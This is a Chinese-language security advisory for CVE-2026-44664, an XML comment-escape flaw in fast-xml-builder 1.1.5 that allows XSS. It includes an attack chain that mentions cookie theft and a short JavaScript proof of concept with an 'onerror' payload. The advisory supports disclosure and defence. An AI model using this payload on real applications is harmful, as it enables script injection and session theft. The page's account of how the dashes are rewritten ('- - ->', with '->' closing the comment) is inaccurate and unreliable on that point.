IPBUF安全漏洞报告
English
CVE-2026-44664 CVSS 6.1 中危

CVE-2026-44664 fast-xml-builder XML注入漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44664
漏洞类型
XML注入
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
fast-xml-builder

相关标签

XML注入XSSfast-xml-builderCVE-2026-44664

漏洞概述

fast-xml-builder在1.1.5版本中对XML注释的过滤逻辑存在缺陷,未能正确处理包含三个连续破折号的输入。攻击者可利用此漏洞绕过安全检查,逃逸出XML注释并注入任意HTML/XML内容,导致跨站脚本攻击或数据篡改。

技术细节

该漏洞源于fast-xml-builder 1.1.5版本中针对CVE-2026-41650的不完整修复。开发人员使用.replace(/--/g, '- -')来清理XML注释中的双横线,试图阻止注释闭合。然而,当输入包含三个连续破折号(如--->)时,该替换将其转换为“- - ->”。在XML解析过程中,前部的“- - ”被视为内容,而尾部的“->”被解析为注释结束符。这种机制允许攻击者提前闭合注释标签,将后续的恶意载荷注入到XML文档结构中。若该XML被浏览器渲染,将触发XSS;若被后端解析,可能导致业务逻辑绕过或注入攻击。

攻击链分析

STEP 1
1. 侦察
攻击者确认目标应用使用了存在漏洞的fast-xml-builder库(版本1.1.5或更早),并找到接受用户输入并将其转换为XML的接口。
STEP 2
2. 构造载荷
攻击者构造包含“--->”序列的特殊字符串,并在其后附加恶意的HTML/JavaScript代码(如XSS Payload)。
STEP 3
3. 注入攻击
攻击者将载荷发送给目标应用,fast-xml-builder处理数据时,过滤逻辑将“--->”转换为“- - ->”,导致注释被意外闭合。
STEP 4
4. 执行攻击
恶意代码被注入到最终的XML文档中,当该文档被浏览器解析时,触发恶意脚本执行,窃取Cookie或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-44664 const { Builder } = require('fast-xml-builder'); // Vulnerable input with triple dashes to break out of comment const maliciousInput = '---> <img src=x onerror=alert(1)>'; const options = { ignoreAttributes: false, format: true, suppressEmptyNode: true }; const builder = new Builder(options); // Constructing XML with the malicious input try { const xmlOutput = builder.buildObject({ data: { '#comment': maliciousInput } }); console.log('Generated XML:'); console.log(xmlOutput); // Expected: The comment closes early, injecting the img tag } catch (e) { console.error('Error:', e); }

影响范围

fast-xml-builder <= 1.1.5

防御指南

临时缓解措施
如果无法立即升级,应禁用涉及XML注释生成的功能,或者在应用层面对包含“-”字符的用户输入进行更严格的拦截和转义。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表